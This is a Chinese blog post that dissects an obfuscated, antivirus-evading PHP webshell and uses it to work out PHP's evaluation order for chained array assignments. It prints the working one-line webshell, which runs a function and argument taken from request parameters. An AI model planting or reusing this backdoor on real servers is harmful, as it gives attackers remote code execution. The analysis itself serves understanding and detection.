文章首发于t00ls,嫌文章太啰嗦的可以直接看结论

起源

之前看到别人分享的一个免杀webshell:

<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>

开始是百思不得其解,后来在测试过程中通过分解和删减语句渐渐的对这段代码的执行顺序产生了疑惑,所以就有了如下的简单试验

分析

假设赋值语句为:$a[x]=$b[y]=c我们都知道值传递是从右到左,那么当数组的索引也是表达式的多重赋值中,顺序是怎么样的呢,我给出了下面3种假设:
(1)
1.Y
2.$b[y]=c
3.X
4.$a[x]=$b[y]
(2)
1.Y
2.X
3.$b[y]=c
4.$a[x]=$b[y]
(3)
1.X
2.Y
3.$b[y]=c
4.$a[x]=$b[y]
为了查明正确的执行顺序,弄了个简单的实例:

<?php
$a = array(1,2,3);
$a[$a[0]=$a[1]+2] = $a[$a[1]=$a[2]-3] = 100;
var_dump($a);
?>

顺序(1)

$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2] - 3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = 100
数组:$a[0] = 100,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0]
3.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3,表达式:$a[2] = $a[0]
4.$a[2] = $a[0] = 2
结果:$a[0] = 2,$a[1] = 0,$a[2] = 2

顺序(2)

$a[0] = 1,$a[1] = 2,$a[2] = 3  
1.$a[1] = $a[2]-3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3  表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3        表达式:$a[2] = $a[0] = 100
3.$a[2] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 100

顺序(3)

$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[0] = $a[1]+2 = 4
数组:$a[0] = 4,$a[1] = 2,$a[2] = 3  表达式:$a[4] = $a[$a[1]=$a[2]-3] = 100
2.$a[1] = $a[2] -3 = 0
数组:$a[0] = 4,$a[1] = 0,$a[2] = 3  表达式:$a[4] = $a[0] = 100
3.$a[4] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 3,$a[4] = 100

程序运行结果:

可以知道,执行的顺序应为3,即当$a[xx]=$b[***]=$c的时候,执行的顺序是
xx -> *** -> 从右到左依次赋值

结论

再回头看webshell,正确的执行顺序应该为:
1.$GLOBALS[func]=current($GLOBALS)[GLOBALS] (_GET中的内容赋值给$GLOBALS[func])
2.$GLOBALS[code]=next($GLOBALS)[GLOBALS] (_POST中的内容赋值给$GLOBALS[code])
3.$GLOBALS{func}($GLOBALS{code});  (变量函数中传入变量)
其他的赋值语句都是混淆

分析一个免杀webshell发现的php特性的更多相关文章

  1. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  2. [Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)

    从攻防对抗辩证性分析jsp免杀 从最早的最朴素木马 <%@ page import="java.io.InputStream" %> <%@ page impor ...

  3. 浅析JAVA Runtime原理与过各大厂商免杀webshell制作

    Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...

  4. 【转】PHP利用Apache、Nginx的特性实现免杀Webshell

    转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...

  5. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  6. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  7. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  8. 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  9. 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...

随机推荐

  1. python fastApi实战项目 - 爱投票管理系统(一)

    一.闲来无事,在工作之余自己研究了一下python的异步框架 - fastapi,并写包括 1.部门管理 2.角色管理 3.用户管理 4.菜单管理 5.登录日志 6.操作日志 六个基础功能模块,演示链 ...

  2. ams1117资料汇总

    AMS1117系列稳压器有可调版与多种固定电压版,设计用于提供1A输出电流且工作压差可低至1V.在最大输出电流时,AMS1117器件的最小压差保证不超过1.3V,并随负载电流的减小而逐渐降低. AMS ...

  3. 稳压二极管、肖特基二极管、静电保护二极管、TVS管

    1.稳压二极管 正向导通电压跟普通二级管一样约为0.7v,反向状态下在临界电压之前截止,在达到临界电压的条件下会处于导通的状态,电压也不再升高,所以用在重要元器件上,起到稳压作用. 稳压二极管主要利用 ...

  4. python接口自动化测试--数据分离读取Excal指定单元格数据

    上一篇博客讲了怎么批量读取Excal单元格数据,现在咱们说一下怎么读取Excal指定单元格数据. 一.首先建一个Test_Main类 #!/usr/bin/python # -*- coding: U ...

  5. 【源码】spring循环引用

    spring在单例,非构造方法注入的情况下允许循环依赖 1.循环依赖 a引用b,b引用a.a创建的时候需要b,但是b没有创建,需要先去创建b,b创建的时候又没有a,这就出现的循环依赖的问题 2.为什么 ...

  6. numpy的统计分析

    一.排序 间接排序(argsort,lexsort) 根据一个或多个数据集进行排序 1.Sort() --对数值直接进行排序 a.一维排序 b.二维排序 c.axis的认知 2.argsort() - ...

  7. STM32CubeIDE下载安装-GPIO基本配置操作-Debug调试(基于CMSIS DAP Debug)

    1.在ST官网下载STM32CubeIDE而不是STM32CubeMX,并且STM32CubeIDE是免费的.(STM32CubeIDE不支持中文路径,不然编译会出错) 2.如果你用的是keil开发环 ...

  8. 【开发板试用报告】鸿蒙OS环境搭建及代码烧录

    鸿蒙系统的代码编译环境需要linux系统,软件开发和代码烧录需要windows环境. Linux环境 参考官方链接:https://gitee.com/openharmony/docs/blob/ma ...

  9. vue实现带logo的二维码/商品条形码/打印商品吊牌

    一.带logo的二维码 1.安装 npm install vue-qr --save 2.在页面或组件中使用 <template> <div id="qrcode" ...

  10. 常用DOS指令

    Windows的DOS命令,其实是Windows系统的cmd命令,它是由原来的MS-DOS系统保留下来的. ​MS-DOS称为微软磁盘操作系统,最开始从西雅图公司(蒂姆·帕特森)买过来 MS-DOS系 ...